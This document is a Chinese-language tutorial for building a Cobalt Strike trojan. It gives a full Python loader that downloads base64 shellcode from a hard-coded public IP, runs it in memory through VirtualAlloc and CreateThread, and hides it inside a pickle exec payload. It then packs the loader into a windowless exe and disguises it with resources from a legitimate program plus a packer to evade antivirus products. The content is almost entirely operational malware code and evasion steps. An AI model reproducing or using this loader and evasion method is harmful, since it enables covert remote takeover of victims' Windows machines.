1.用cs生成python 版本的payload,复制其中的shellcode,并对其进行base64编码,将其存入到文本py.txt中,并将其放置到公网服务器上,使得靶机能够访问该文件。

2.使用以下的脚本将payload进行反序列化,获得其打印出来的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import pickle

import base64

shellcode = """
import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://49.232.58.29:7777/py.txt').read()
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""


class A(object):
def __reduce__(self):
return (exec, (shellcode,))


ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
print(ret_base64)
#ret_decode = base64.b64decode(ret_base64)

3.把输出的字节流放到shellcode变量里。

1
2
3
import base64,pickle,ctypes,urllib.request
shellcode =b'gANjYnVpbHRpbnMKZXhlYwpxAFg1.......................'
pickle.loads(base64.b64decode(shellcode))

4.打包成exe,双击上线。

1
pyinstaller -F exp.py --noconsole 

5.实际过程中,发现defender和火绒没有问题,但是360无法绕过。

方法:将生成的exe木马文件和一个正常的exe文件同时拖入到 Restorator中,将正常应用中的所有资源复制粘贴到木马exe文件内,并进行保存。结束后,再次使用shielden工具对代码再次进行加密,就可以绕过众多常见的杀软。